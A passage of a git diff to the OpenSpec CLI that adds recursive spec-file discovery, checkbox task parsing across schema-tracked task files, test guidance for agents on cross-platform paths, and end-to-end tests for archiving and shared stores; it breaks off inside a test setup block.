b/src/utils/spec-discovery.ts @@ -0,0 +1,115 @@ +import { promises as fs } from 'fs'; +import path from 'path'; +import { FileSystemUtils } from './file-system.js'; + +export interface DiscoveredSpec { + /** Spec id relative to the specs root, forward-slash separated on every platform (e.g. "web" or "platform/session-layout"). */ + id: string; + /** Path to the spec.md file (absolute if the specs root is absolute). */ + specFile: string; +} + +function assertDiscoveredSpecPath(specsRoot: string, capabilityDir: string, specFile: string): void { + try { + FileSystemUtils.assertPathWithin(specsRoot, specFile); + } catch { + // Direct capability directories may intentionally be external monorepo + // links. In that case, confine the file to the capability itself. + FileSystemUtils.assertPathWithin(capabilityDir, specFile); + } +} + +/** + * Recursively discover every `spec.md` under a specs root, so both the flat + * `specs/<id>/spec.md` layout and nested `specs/<area>/<id>/spec.md` layouts + * are found (#1353). A `spec.md` sitting directly in the root is ignored, + * matching the historical requirement that specs live in a capability folder. + * Dot-directories are skipped and symlinked directories are not followed. + * An in-capability symlinked `spec.md` IS resolved: `hasAnyFileUnder` and the + * artifact graph's globs both count it as content, so dropping it here would + * silently lose the delta on archive. A link outside its capability is + * rejected and a dangling link is skipped. Results are sorted by id. + * + * A missing root (ENOENT) yields an empty list, but any other read failure + * (EACCES, EIO, ...) is thrown rather than swallowed: since this feeds the + * archive/apply merge path, silently dropping an unreadable capability would + * recreate the exact data-loss class #1353 is closing. + */ +export async function discoverSpecFiles(specsRoot: string): Promise<DiscoveredSpec[]> { + const results: DiscoveredSpec[] = []; + const walk = async (dir: string, segments: string[]): Promise<void> => { + let entries; + try { + entries = await fs.readdir(dir, { withFileTypes: true }); + } catch (err: any) { + if (err?.code === 'ENOENT') return; + throw err; + } + for (const entry of entries) { + if (entry.name.startsWith('.')) continue; + if (entry.isDirectory()) { + await walk(path.join(dir, entry.name), [...segments, entry.name]); + } else if (entry.name === 'spec.md' && segments.length > 0) { + const specFile = path.join(dir, entry.name); + if (entry.isFile()) { + assertDiscoveredSpecPath(specsRoot, dir, specFile); + results.push({ id: segments.join('/'), specFile }); + } else if (entry.isSymbolicLink()) { + try { + if ((await fs.stat(specFile)).isFile()) { + assertDiscoveredSpecPath(specsRoot, dir, specFile); + results.push({ id: segments.join('/'), specFile }); + } + } catch (err: any) { + // A dangling link is not content; anything else fails loudly. + if (err?.code !== 'ENOENT') throw err; + } + } + } + } + }; + await walk(specsRoot, []); + // Plain code-point comparison, not localeCompare: the latter follows the + // process's ICU locale, so ordering could vary by OS/CI. Code-point ordering + // guarantees the deterministic output the docstring promises. + return results.sort((a, b) => (a.id < b.id ? -1 : a.id > b.id ? 1 : 0)); +} + +/** + * True when any regular non-dot file exists anywhere under the given + * directory. Used by validate/archive to detect content under a change's + * specs/ that contradicts a declared skip_specs marker - including files that + * discoverSpecFiles ignores (a root spec.md, stray non-spec.md notes), since + * anything there would be silently dropped or misread while the change claims + * to have nothing. Dot entries (.DS_Store, .gitkeep, dot-directories) are + * skipped to match discoverSpecFiles - they are invisible to every other + * code path, so they must not count as spec content. Symlinks DO count + * (without being followed): the artifact graph's globs follow them, so a + * symlinked spec would read as existing content while the change claims to + * have none - it contradicts the marker like any regular file. A missing + * directory returns false; other read failures are thrown for the caller to + * decide. + */ +export async function hasAnyFileUnder(dirPath: string): Promise<boolean> { + let entries; + try { + entries = await fs.readdir(dirPath, { withFileTypes: true }); + } catch (err) { + if ((err as NodeJS.ErrnoException)?.code === 'ENOENT') { + return false; + } + throw err; + } + for (const entry of entries) { + if (entry.name.startsWith('.')) { + continue; + } + if (entry.isFile() || entry.isSymbolicLink()) { + return true; + } + if (entry.isDirectory() && (await hasAnyFileUnder(path.join(dirPath, entry.name)))) { + return true; + } + } + return false; +} diff --git a/src/utils/task-progress.ts b/src/utils/task-progress.ts index a14b866f08..a9d755488f 100644 --- a/src/utils/task-progress.ts +++ b/src/utils/task-progress.ts @@ -1,8 +1,56 @@ import { promises as fs } from 'fs'; import path from 'path'; +import type { Artifact, SchemaYaml } from '../core/artifact-graph/index.js'; +import { resolveArtifactOutputs, resolveSchema } from '../core/artifact-graph/index.js'; +import { resolveSchemaForChange } from './change-metadata.js'; -const TASK_PATTERN = /^[-*]\s+\[[\sx]\]/i; -const COMPLETED_TASK_PATTERN = /^[-*]\s+\[x\]/i; +/** + * A Markdown task line: a `-`/`*` bullet carrying a `[ ]` or `[x]` checkbox. + * + * Leading whitespace is allowed so nested sub-tasks count like their parents. + * Anchoring at column 0 made ` - [ ] 1.1.1 ...` invisible to progress, to the + * apply task list, and to archive's incomplete-task check, so a change with + * unfinished sub-tasks reported "✓ Complete" and archived without a warning. + * + * Permissive on purpose, and safe to keep that way: any character class + * tightened here - the `\s` inside the brackets, which lets a tab or + * non-breaking space stand for an empty box - drops lines that used to count, + * and a task this parser drops is a task `openspec archive` stops warning about. + * + * Deliberately unanchored at the end: `.` does not match `\r`, so writing the + * description group as `(.*)$` would reject every line of a CRLF tasks.md. + */ +const TASK_LINE_PATTERN = /^\s*[-*]\s*\[([\sxX])\]\s*(.*)/; + +export interface ParsedTask { + /** Checkbox state: `[x]`/`[X]` is done, anything else is not. */ + done: boolean; + /** Task text after the checkbox, trimmed (may be empty). */ + description: string; +} + +/** + * Parses every task line in a tasks file, in document order. + * + * Every line matching the pattern counts, wherever it sits - inside a code + * fence, an HTML comment or an indented block, as before. Skipping fenced + * checkboxes was tried and dropped: every rule for deciding which fence is + * "real" has an input where a stray or unbalanced ``` swallows genuine tasks. + * Counting a documented example as work is a loud, bypassable false positive; + * losing a real task is a silent one. + */ +export function parseTaskLines(content: string): ParsedTask[] { + const tasks: ParsedTask[] = []; + + for (const line of content.split('\n')) { + const match = line.match(TASK_LINE_PATTERN); + if (match) { + tasks.push({ done: match[1].toLowerCase() === 'x', description: match[2].trim() }); + } + } + + return tasks; +} export interface TaskProgress { total: number; @@ -10,22 +58,45 @@ export interface TaskProgress { } export function countTasksFromContent(content: string): TaskProgress { - const lines = content.split('\n'); - let total = 0; - let completed = 0; - for (const line of lines) { - if (line.match(TASK_PATTERN)) { - total++; - if (line.match(COMPLETED_TASK_PATTERN)) { - completed++; - } - } + const tasks = parseTaskLines(content); + return { + total: tasks.length, + completed: tasks.filter((task) => task.done).length, + }; +} + +/** + * Identifies the change's tracked-tasks artifact: the artifact whose `generates` + * equals the schema's `apply.tracks` value, falling back to the artifact with id + * `tasks` when no `apply` block declares what it tracks. (`apply.tracks` is a + * filename that *selects* the artifact; the glob is that artifact's `generates`.) + */ +function findTrackedTasksArtifact(schema: SchemaYaml): Artifact | undefined { + const tracks = schema.apply?.tracks; + if (tracks != null) { + return schema.artifacts.find((a) => a.generates === tracks); } - return { total, completed }; + return schema.artifacts.find((a) => a.id === 'tasks'); } -export async function getTaskProgressForChange(changesDir: string, changeName: string): Promise<TaskProgress> { - const tasksPath = path.join(changesDir, changeName, 'tasks.md'); +/** + * Resolves the tracked-tasks artifact's output glob for a change, or undefined + * when the schema cannot be resolved or no tracked-tasks artifact exists. + * `resolveSchema` throws on an unresolvable/misnamed schema; we swallow that so + * the caller falls back to a single top-level `tasks.md` and never crashes. + */ +function resolveTrackedTasksGlob(changeDir: string, projectRoot: string): string | undefined { + try { + const schemaName = resolveSchemaForChange(changeDir, undefined, projectRoot); + const schema = resolveSchema(schemaName, projectRoot); + return findTrackedTasksArtifact(schema)?.generates; + } catch { + return undefined; + } +} + +async function countSingleTopLevelTasksFile(changeDir: string): Promise<TaskProgress> { + const tasksPath = path.join(changeDir, 'tasks.md'); try { const content = await fs.readFile(tasksPath, 'utf-8'); return countTasksFromContent(content); @@ -34,6 +105,47 @@ export async function getTaskProgressForChange(changesDir: string, changeName: s } } +/** Resolves the task files selected by the schema's apply tracking rule. */ +export function resolveTaskFilesForChange(changeDir: string, projectRoot: string): string[] { + const generates = resolveTrackedTasksGlob(changeDir, projectRoot); + return generates ? resolveArtifactOutputs(changeDir, generates) : []; +} + +/** + * Computes a change's task progress by resolving its tracked-tasks artifact and + * counting checkboxes across every file matched by that artifact's `generates` + * glob — the same file-resolution `openspec status` uses to detect the tasks + * artifact (`resolveArtifactOutputs`) — so progress is no longer blind to nested + * `tasks.md` files (#1202). Falls back to a single top-level `tasks.md` (exactly + * as before) when the schema is unresolvable, no tracked-tasks artifact is found, + * or the glob matches no file. Never throws. + */ +export async function getTaskProgressForChange( + changesDir: string, + changeName: string, + projectRoot: string +): Promise<TaskProgress> { + const changeDir = path.join(changesDir, changeName); + const files = resolveTaskFilesForChange(changeDir, projectRoot); + if (files.length > 0) { + let total = 0; + let completed = 0; + for (const file of files) { + try { + const content = await fs.readFile(file, 'utf-8'); + const progress = countTasksFromContent(content); + total += progress.total; + completed += progress.completed; + } catch { + // Swallow files that vanish between glob and read, as before. + } + } + return { total, completed }; + } + + return countSingleTopLevelTasksFile(changeDir); +} + export function formatTaskStatus(progress: TaskProgress): string { if (progress.total === 0) return 'No tasks'; if (progress.completed === progress.total) return '✓ Complete'; diff --git a/test/AGENTS.md b/test/AGENTS.md new file mode 100644 index 0000000000..6161583824 --- /dev/null +++ b/test/AGENTS.md @@ -0,0 +1,30 @@ +# OpenSpec Test Guidance + +Applies to tests under `test/`. + +## Running Tests + +- Focused file: `pnpm exec vitest run test/path/to/file.test.ts` +- Focused case: `pnpm exec vitest run test/path/to/file.test.ts -t "case name"` +- Full suite: `pnpm test` +- Run `pnpm run build` before focused CLI tests when implementation changes may leave `dist/` stale. + +## Cross-Platform Paths + +- Do not hard-code Unix path separators in CLI output expectations unless the implementation intentionally emits POSIX paths. +- For filesystem paths, build expected values with `path.join(...)`, `path.relative(...)`, or `FileSystemUtils.joinPath(...)`. +- For human-readable output, either assert a deliberately normalized display format or normalize both actual and expected strings before comparing, for example with `FileSystemUtils.toPosixPath()` to convert backslashes to forward slashes for cross-platform consistency. +- When touching path behavior, add coverage that would fail on Windows path separators. + +## Path Canonicalization + +Path identity is a recurring CI failure mode: Windows short/long paths, symlink or +junction aliases, and case-insensitive file systems can spell the same existing +directory differently. + +When asserting existing filesystem paths as identities, canonicalize both actual +and expected paths first. Prefer `FileSystemUtils.canonicalizeExistingPath()` in +project code and `fs.realpathSync.native()` in test-only expectations. + +Add an alias-path regression when touching path identity logic. If preserving +user-typed path spelling is intentional, assert it separately from identity comparisons. diff --git a/test/cli-e2e/basic.test.ts b/test/cli-e2e/basic.test.ts index 0d7e46de0c..81eff84388 100644 --- a/test/cli-e2e/basic.test.ts +++ b/test/cli-e2e/basic.test.ts @@ -4,6 +4,8 @@ import path from 'path'; import { tmpdir } from 'os'; import { runCLI, cliProjectRoot } from '../helpers/run-cli.js'; import { AI_TOOLS } from '../../src/core/config.js'; +import { getGlobalDataDir, registerStore } from '../../src/core/index.js'; +import { createOpenSpecRoot } from '../helpers/openspec-fixtures.js'; async function fileExists(filePath: string): Promise<boolean> { try { @@ -131,19 +133,27 @@ describe('openspec CLI e2e basics', () => { await fs.mkdir(emptyProjectDir, { recursive: true }); const codexHome = path.join(emptyProjectDir, '.codex'); + const testHome = path.join(emptyProjectDir, 'home'); const result = await runCLI(['init', '--tools', 'all'], { cwd: emptyProjectDir, - env: { CODEX_HOME: codexHome }, + env: { CODEX_HOME: codexHome, HOME: testHome, USERPROFILE: testHome }, + timeoutMs: 20000, }); + expect(result.timedOut).toBe(false); expect(result.exitCode).toBe(0); expect(result.stdout).toContain('OpenSpec Setup Complete'); // Check that skills were created for multiple tools const claudeSkillPath = path.join(emptyProjectDir, '.claude/skills/openspec-explore/SKILL.md'); const cursorSkillPath = path.join(emptyProjectDir, '.cursor/skills/openspec-explore/SKILL.md'); + const minimaxSkillPath = path.join( + testHome, + '.minimax/skills/openspec-explore/SKILL.md' + ); expect(await fileExists(claudeSkillPath)).toBe(true); expect(await fileExists(cursorSkillPath)).toBe(true); - }); + expect(await fileExists(minimaxSkillPath)).toBe(true); + }, 25000); it('initializes with --tools list option', async () => { const projectDir = await prepareFixture('tmp-init'); @@ -162,6 +172,19 @@ describe('openspec CLI e2e basics', () => { expect(await fileExists(cursorSkillPath)).toBe(false); // Not selected }); + it('initializes with --tools agents option', async () => { + const projectDir = await prepareFixture('tmp-init'); + const emptyProjectDir = path.join(projectDir, '..', 'empty-project'); + await fs.mkdir(emptyProjectDir, { recursive: true }); + + const result = await runCLI(['init', '--tools', 'agents'], { cwd: emptyProjectDir }); + expect(result.exitCode).toBe(0); + expect(result.stdout).toContain('OpenSpec Setup Complete'); + + const skillPath = path.join(emptyProjectDir, '.agents', 'skills', 'openspec-explore', 'SKILL.md'); + expect(await fileExists(skillPath)).toBe(true); + }); + it('initializes with --tools none option', async () => { const projectDir = await prepareFixture('tmp-init'); const emptyProjectDir = path.join(projectDir, '..', 'empty-project'); @@ -200,4 +223,166 @@ describe('openspec CLI e2e basics', () => { expect(result.stderr).toContain('Cannot combine reserved values "all" or "none" with specific tool IDs'); }); }); + + describe('archive with no terminal to answer its prompts (#1479)', () => { + // runCLI closes the child's stdin, which is exactly how an AI agent or a + // CI script invokes the CLI. + async function prepareChange(options: { tasksComplete?: boolean } = {}): Promise<string> { + const base = await fs.mkdtemp(path.join(tmpdir(), 'openspec-archive-e2e-')); + tempRoots.push(base); + const changeDir = path.join(base, 'openspec', 'changes', 'add-greeting'); + await fs.mkdir(path.join(changeDir, 'specs', 'greeting'), { recursive: true }); + await fs.mkdir(path.join(base, 'openspec', 'specs'), { recursive: true }); + await fs.writeFile( + path.join(changeDir, 'proposal.md'), + '## Why\nThis change exists to document greeting behavior for the team, which is long enough.\n\n## What Changes\n- Add a greeting requirement.\n' + ); + await fs.writeFile( + path.join(changeDir, 'tasks.md'), + options.tasksComplete === false ? '- [ ] Task 1\n' : '- [x] Task 1\n' + ); + await fs.writeFile( + path.join(changeDir, 'specs', 'greeting', 'spec.md'), + '## ADDED Requirements\n\n### Requirement: Greeting\nThe system SHALL greet the user.\n\n#### Scenario: Greets on request\n- **WHEN** the user says hello\n- **THEN** the system greets back\n' + ); + return base; + } + + it('reports the flag to pass instead of a closed-prompt error', async () => { + const projectDir = await prepareChange(); + const result = await runCLI(['archive', 'add-greeting'], { cwd: projectDir }); + + const output = `${result.stdout}${result.stderr}`; + expect(result.exitCode).toBe(1); + expect(output).not.toContain('force closed the prompt'); + expect(output).toContain('no answer could be read from stdin'); + expect(output).toContain('openspec archive add-greeting --yes'); + + // The change is untouched: nothing was archived or merged. + expect(await fileExists(path.join(projectDir, 'openspec', 'changes', 'add-greeting', 'proposal.md'))).toBe(true); + expect(await fileExists(path.join(projectDir, 'openspec', 'specs', 'greeting', 'spec.md'))).toBe(false); + }); + + it('reports the incomplete-task prompt the same way', async () => { + const projectDir = await prepareChange({ tasksComplete: false }); + const result = await runCLI(['archive', 'add-greeting'], { cwd: projectDir }); + + const output = `${result.stdout}${result.stderr}`; + expect(result.exitCode).toBe(1); + expect(output).not.toContain('force closed the prompt'); + expect(output).toContain('1 incomplete task(s) found'); + expect(output).toContain('openspec archive add-greeting --yes'); + }); + + it('keeps the caller\'s own flags in the suggested rerun', async () => { + // Suggesting a bare --yes rerun here would merge the deltas that + // --skip-specs was passed to leave alone. + const projectDir = await prepareChange({ tasksComplete: false }); + const result = await runCLI(['archive', 'add-greeting', '--skip-specs'], { cwd: projectDir }); + + const output = `${result.stdout}${result.stderr}`; + expect(result.exitCode).toBe(1); + expect(output).toContain('openspec archive add-greeting --skip-specs --yes'); + }); + + it('reports the skip-validation prompt the same way', async () => { + const projectDir = await prepareChange(); + const result = await runCLI(['archive', 'add-greeting', '--no-validate'], { cwd: projectDir }); + + const output = `${result.stdout}${result.stderr}`; + expect(result.exitCode).toBe(1); + expect(output).not.toContain('force closed the prompt'); + expect(output).toContain('Skipping validation requires confirmation'); + expect(output).toContain('openspec archive add-greeting --no-validate --yes'); + }); + + it('archives normally once that flag is passed', async () => { + const projectDir = await prepareChange(); + const result = await runCLI(['archive', 'add-greeting', '--yes'], { cwd: projectDir }); + + expect(result.exitCode).toBe(0); + expect(await fileExists(path.join(projectDir, 'openspec', 'specs', 'greeting', 'spec.md'))).toBe(true); + }); + + it('asks for a change name instead of exiting 0 without archiving', async () => { + const projectDir = await prepareChange(); + const result = await runCLI(['archive'], { cwd: projectDir }); + + const output = `${result.stdout}${result.stderr}`; + expect(result.exitCode).toBe(1); + expect(output).toContain('A change name is required'); + expect(await fileExists(path.join(projectDir, 'openspec', 'changes', 'add-greeting', 'proposal.md'))).toBe(true); + }); + + it('keeps --store in the suggested rerun for a store-rooted change', async () => { + // The rerun has to name the same root the blocked run used, or pasting + // it archives from the wrong place - or from nowhere. + const base = await fs.mkdtemp(path.join(tmpdir(), 'openspec-archive-store-e2e-')); + tempRoots.push(base); + const env = { + XDG_DATA_HOME: path.join(base, 'data'), + XDG_CONFIG_HOME: path.join(base, 'config'), + }; + const storeRoot = path.join(base, 'team-store'); + createOpenSpecRoot(storeRoot); + await registerStore({ + id: 'team-store', + localPath: storeRoot, + globalDataDir: getGlobalDataDir({ env }), + }); + + const changeDir = path.join(storeRoot, 'openspec', 'changes', 'add-greeting'); + await fs.mkdir(changeDir, { recursive: true }); + await fs.writeFile(path.join(changeDir, 'tasks.md'), '- [ ] Task 1\n'); + + const scratch = path.join(base, 'no-root-here'); + await fs.mkdir(scratch, { recursive: true }); + + const result = await runCLI(['archive', 'add-greeting', '--store', 'team-store'], { + cwd: scratch, + env, + }); + + const output = `${result.stdout}${result.stderr}`; + expect(result.exitCode).toBe(1); + expect(output).toContain('openspec archive add-greeting --yes --store team-store'); + }); + + it('keeps --store in front of the `--` for a dash-leading change name', async () => { + // `rerunCommand` has two branches and the other tests only ever cover + // one at a time, so dropping the store flag from just this one went + // unnoticed. Both halves have to be right at once: the store flag stays + // an option (in front of `--`) while the name stays an argument + // (behind it). + const base = await fs.mkdtemp(path.join(tmpdir(), 'openspec-archive-store-dash-e2e-')); + tempRoots.push(base); + const env = { + XDG_DATA_HOME: path.join(base, 'data'), + XDG_CONFIG_HOME: path.join(base, 'config'), + }; + const storeRoot = path.join(base, 'team-store'); + createOpenSpecRoot(storeRoot); + await registerStore({ + id: 'team-store', + localPath: storeRoot, + globalDataDir: getGlobalDataDir({ env }), + }); + + const changeDir = path.join(storeRoot, 'openspec', 'changes', '--force'); + await fs.mkdir(changeDir, { recursive: true }); + await fs.writeFile(path.join(changeDir, 'tasks.md'), '- [ ] Task 1\n'); + + const scratch = path.join(base, 'no-root-here'); + await fs.mkdir(scratch, { recursive: true }); + + const result = await runCLI(['archive', '--store', 'team-store', '--', '--force'], { + cwd: scratch, + env, + }); + + const output = `${result.stdout}${result.stderr}`; + expect(result.exitCode).toBe(1); + expect(output).toContain('openspec archive --yes --store team-store -- --force'); + }); + }); }); diff --git a/test/cli-e2e/capstone-journeys.test.ts b/test/cli-e2e/capstone-journeys.test.ts new file mode 100644 index 0000000000..adc4271a73 --- /dev/null +++ b/test/cli-e2e/capstone-journeys.test.ts @@ -0,0 +1,181 @@ +import { afterEach, beforeEach, describe, expect, it } from 'vitest'; +import * as fs from 'node:fs'; +import * as os from 'node:os'; +import * as path from 'node:path'; + +import { getGlobalDataDir, registerStore } from '../../src/core/index.js'; +import { runCLI } from '../helpers/run-cli.js'; +import { createOpenSpecRoot, writeSpec } from '../helpers/openspec-fixtures.js'; +import { cleanupTempPath } from '../helpers/temp-cleanup.js'; + +const JOURNEY_TIMEOUT_MS = 30_000; + +/** + * Capstone persona journeys (6.1). Journey 1 (fresh team) lives in + * store-lifecycle.test.ts; journey 4 (cold-start agent) runs as a + * headless dogfood outside vitest. These are journeys 2 and 3. + */ +describe('capstone persona journeys (6.1)', () => { + let tempDir: string; + let globalDataDir: string; + let env: NodeJS.ProcessEnv; + + beforeEach(() => { + tempDir = fs.realpathSync.native( + fs.mkdtempSync(path.join(os.tmpdir(), 'openspec-capstone-')) + ); + env = { + XDG_DATA_HOME: path.join(tempDir, 'data'), + XDG_CONFIG_HOME: path.join(tempDir, 'config'), + OPEN_SPEC_INTERACTIVE: '0', + OPENSPEC_TELEMETRY: '0', + }; + globalDataDir = getGlobalDataDir({ env }); + }); + + afterEach(() => { + cleanupTempPath(tempDir); + }); + + it('journey 2 — layered flow: app-repo agent discovers, cites, designs locally', async () => { + // Requirements live in a store. + const storeRoot = path.join(tempDir, 'product-requirements'); + createOpenSpecRoot(storeRoot); + writeSpec( + storeRoot, + 'billing-rules', + '## Purpose\n\nAll invoices are immutable after issue.\n' + ); + await registerStore({ + id: 'product-requirements', + localPath: storeRoot, + globalDataDir, + }); + + // The app repo has its OWN root and declares the reference. + const appRepo = path.join(tempDir, 'billing-service'); + createOpenSpecRoot(appRepo); + fs.writeFileSync( + path.join(appRepo, 'openspec', 'config.yaml'), + 'schema: spec-driven\nreferences:\n - product-requirements\n' + ); + + // Discovery: the relationship comes from config, not insider + // knowledge — instructions and context both surface it. + const contextResult = await runCLI(['context', '--json'], { cwd: appRepo, env }); + expect(contextResult.exitCode).toBe(0); + const member = JSON.parse(contextResult.stdout).members[0]; + expect(member).toEqual( + expect.objectContaining({ + role: 'referenced_store', + id: 'product-requirements', + path: storeRoot, + fetch: 'openspec show <spec-id> --type spec --store product-requirements', + }) + ); + + // Citation: the agent follows the fetch recipe verbatim. + const fetch = member.fetch.replace('<spec-id>', 'billing-rules').split(' ').slice(1); + const cited = await runCLI(fetch, { cwd: appRepo, env }); + expect(cited.exitCode).toBe(0); + expect(cited.stdout).toContain('All invoices are immutable after issue.'); + + // Low-level design lands in the app repo's own root, not the store. + const created = await runCLI( + ['new', 'change', 'implement-invoice-immutability', '--json'], + { cwd: appRepo, env } + ); + expect(created.exitCode).toBe(0); + const changeDir = path.join( + appRepo, + 'openspec', + 'changes', + 'implement-invoice-immutability' + ); + expect(fs.existsSync(changeDir)).toBe(true); + expect( + fs.existsSync(path.join(storeRoot, 'openspec', 'changes', 'implement-invoice-immutability')) + ).toBe(false); + + // The store stayed read-only context throughout. + const storeChanges = fs.readdirSync(path.join(storeRoot, 'openspec', 'changes')); + expect(storeChanges.filter((name) => name !== 'archive' && name !== '.gitkeep')).toEqual([]); + }, JOURNEY_TIMEOUT_MS); + + it('journey 3 — externalized planning: pointer repo runs the lifecycle without --store', async () => { + const storeRoot = path.join(tempDir, 'team-planning'); + createOpenSpecRoot(storeRoot); + await registerStore({ id: 'team-planning', localPath: storeRoot, globalDataDir }); + + // A code repo with NO local root, only the fallback declaration. + const codeRepo = path.join(tempDir, 'api-server'); + fs.mkdirSync(path.join(codeRepo, 'openspec'), { recursive: true }); + fs.writeFileSync( + path.join(codeRepo, 'openspec', 'config.yaml'), + 'store: team-planning\n' + ); + + // The whole lifecycle from the code repo, zero --store flags. + const created = await runCLI( + ['new', 'change', 'add-rate-limits', '--schema', 'spec-driven', '--json'], + { cwd: codeRepo, env } + ); + expect(created.exitCode).toBe(0); + const changeDir = path.join(storeRoot, 'openspec', 'changes', 'add-rate-limits'); + expect(fs.existsSync(changeDir)).toBe(true); + + const status = await runCLI(['status', '--change', 'add-rate-limits', '--json'], { + cwd: codeRepo, + env, + }); + expect(status.exitCode).toBe(0); + expect(JSON.parse(status.stdout).changeName).toBe('add-rate-limits'); + + const instructions = await runCLI( + ['instructions', 'proposal', '--change', 'add-rate-limits', '--json'], + { cwd: codeRepo, env } + ); + expect(instructions.exitCode).toBe(0); + + // Work the change: write every artifact the schema requires. The + // instructions outputPath is change-relative (specs is a glob), so + // resolve concretely under the change dir. + const artifacts = JSON.parse(status.stdout).artifacts as Array<{ id: string }>; + for (const artifact of artifacts) { + const artifactStatus = await runCLI( + ['instructions', artifact.id, '--change', 'add-rate-limits', '--json'], + { cwd: codeRepo, env } + ); + expect(artifactStatus.exitCode).toBe(0); + const target = + artifact.id === 'specs' + ? path.join(changeDir, 'specs', 'api', 'spec.md') + : path.join(changeDir, `${artifact.id}.md`); + fs.mkdirSync(path.dirname(target), { recursive: true }); + fs.writeFileSync( + target, + artifact.id === 'specs' + ? '## ADDED Requirements\n\n### Requirement: Rate limits\nThe API SHALL rate-limit.\n\n#### Scenario: Limit hit\n- **WHEN** the limit is exceeded\n- **THEN** requests are rejected\n' + : `# ${artifact.id}\n\nDone.\n` + ); + } + + // Everything written landed inside the store's change dir. + const writtenArtifacts = fs.readdirSync(changeDir).sort(); + expect(writtenArtifacts).toEqual(['.openspec.yaml', 'design.md', 'proposal.md', 'specs', 'tasks.md']); + + // Archive completes the lifecycle, still without --store. + const archived = await runCLI( + ['archive', 'add-rate-limits', '--yes', '--skip-specs', '--json'], + { cwd: codeRepo, env } + ); + expect(archived.exitCode).toBe(0); + expect(fs.existsSync(changeDir)).toBe(false); + const archiveDir = path.join(storeRoot, 'openspec', 'changes', 'archive'); + const archivedNames = fs.readdirSync(archiveDir); + expect(archivedNames.some((name) => name.endsWith('add-rate-limits'))).toBe(true); + + // The code repo never grew planning state. + expect(fs.readdirSync(path.join(codeRepo, 'openspec'))).toEqual(['config.yaml']); + }, JOURNEY_TIMEOUT_MS); +}); diff --git a/test/cli-e2e/store-lifecycle.test.ts b/test/cli-e2e/store-lifecycle.test.ts new file mode 100644 index 0000000000..39c79da9d8 --- /dev/null +++ b/test/cli-e2e/store-lifecycle.test.ts @@ -0,0 +1,525 @@ +import { afterAll, beforeAll, describe, expect, it } from 'vitest'; +import { execFile } from 'child_process'; +import { promises as fs, realpathSync } from 'fs'; +import path from 'path'; +import { tmpdir } from 'os'; +import { promisify } from 'util'; +import { runCLI } from '../helpers/run-cli.js'; +import { cleanupTempPath } from '../helpers/temp-cleanup.js'; + +const execFileAsync = promisify(execFile); + +/** + * Slice 1.3 journey: prove the standalone repo lifecycle end to end across + * two simulated machines (separate XDG homes). Machine A sets up a store and + * works a change through archive; machine B clones, registers, and continues. + * + * Git config is fully isolated so user gitconfig (signing, hooks, identity) + * cannot leak in; identity comes from explicit env vars. + */ + +const STORE_ID = 'team-context'; +const JOURNEY_TIMEOUT_MS = 60_000; + +let base: string; +let storeRoot: string; +let cloneRoot: string; +let projectDir: string; +let emptyGitConfig: string; + +let machineA: NodeJS.ProcessEnv; +let machineB: NodeJS.ProcessEnv; + +let projectSnapshot: Map<string, string>; + +function machineEnv(home: string, gitConfigGlobal: string): NodeJS.ProcessEnv { + return { + XDG_CONFIG_HOME: path.join(home, 'config'), + XDG_DATA_HOME: path.join(home, 'data'), + XDG_STATE_HOME: path.join(home, 'state'), + XDG_CACHE_HOME: path.join(home, 'cache'), + OPENSPEC_TELEMETRY: '0', + GIT_CONFIG_GLOBAL: gitConfigGlobal, + GIT_CONFIG_SYSTEM: emptyGitConfig, + GIT_AUTHOR_NAME: 'Journey Tester', + GIT_AUTHOR_EMAIL: 'journey@example.com', + GIT_COMMITTER_NAME: 'Journey Tester', + GIT_COMMITTER_EMAIL: 'journey@example.com', + }; +} + +// Same canonicalization the product uses (expands Windows 8.3 short names). +function canonical(target: string): string { + return realpathSync.native(target); +} + +async function git(cwd: string, env: NodeJS.ProcessEnv, args: string[]): Promise<string> { + const { stdout } = await execFileAsync('git', args, { + cwd, + env: { ...process.env, ...env }, + }); + return stdout; +} + +async function snapshotDirectory(root: string): Promise<Map<string, string>> { + const snapshot = new Map<string, string>(); + + async function walk(current: string): Promise<void> { + const entries = await fs.readdir(current, { withFileTypes: true }); + for (const entry of entries) { + const absolute = path.join(current, entry.name); + const relative = path.relative(root, absolute).split(path.sep).join('/'); + if (entry.isDirectory()) { + snapshot.set(`${relative}/`, ''); + await walk(absolute); + } else { + snapshot.set(relative, await fs.readFile(absolute, 'utf-8')); + } + } + } + + await walk(root); + return snapshot; +} + +async function listRelativeEntries(root: string, skipDirs: Set<string>): Promise<string[]> { + const found: string[] = []; + + async function walk(current: string): Promise<void> { + const entries = await fs.readdir(current, { withFileTypes: true }); + for (const entry of entries) { + const absolute = path.join(current, entry.name); + const relative = path.relative(root, absolute).split(path.sep).join('/'); + if (entry.isDirectory()) { + if (skipDirs.has(entry.name)) continue; + found.push(`${relative}/`); + await walk(absolute); + } else { + found.push(relative); + } + } + } + + await walk(root); + return found.sort(); +} + +async function writeCompletedChangeArtifacts( + changeDir: string, + capability: string +): Promise<void> { + await fs.writeFile( + path.join(changeDir, 'proposal.md'), + [ + '# Proposal', + '', + '## Why', + '', + 'Prove the standalone store lifecycle end to end.', + '', + '## What Changes', + '', + `- Add the ${capability} capability.`, + '', + '## Capabilities', + '', + '### New Capabilities', + '', + `- \`${capability}\`: lifecycle proof capability.`, + '', + '### Modified Capabilities', + '', + '(none)', + '', + '## Impact', + '', + '- Test-only.', + '', + ].join('\n'), + 'utf-8' + ); + + await fs.mkdir(path.join(changeDir, 'specs', capability), { recursive: true }); + await fs.writeFile( + path.join(changeDir, 'specs', capability, 'spec.md'), + [ + `# ${capability} Spec Delta`, + '', + '## ADDED Requirements', + '', + `### Requirement: ${capability} SHALL work`, + '', + `The system SHALL support ${capability}.`, + '', + '#### Scenario: It works', + '', + '- **WHEN** the lifecycle runs', + '- **THEN** the capability exists', + '', + ].join('\n'), + 'utf-8' + ); + + await fs.writeFile( + path.join(changeDir, 'design.md'), + '# Design\n\nMinimal journey design.\n', + 'utf-8' + ); + + await fs.writeFile( + path.join(changeDir, 'tasks.md'), + '# Tasks\n\n## 1. Work\n\n- [x] 1.1 Do the work\n', + 'utf-8' + ); +} + +beforeAll(async () => { + base = await fs.mkdtemp(path.join(tmpdir(), 'openspec-store-lifecycle-')); + storeRoot = path.join(base, 'machine-a', 'team-context'); + cloneRoot = path.join(base, 'machine-b', 'team-context'); + projectDir = path.join(base, 'machine-a', 'app-repo'); + emptyGitConfig = path.join(base, 'empty-gitconfig'); + + await fs.writeFile(emptyGitConfig, '', 'utf-8'); + machineA = machineEnv(path.join(base, 'machine-a', 'home'), emptyGitConfig); + machineB = 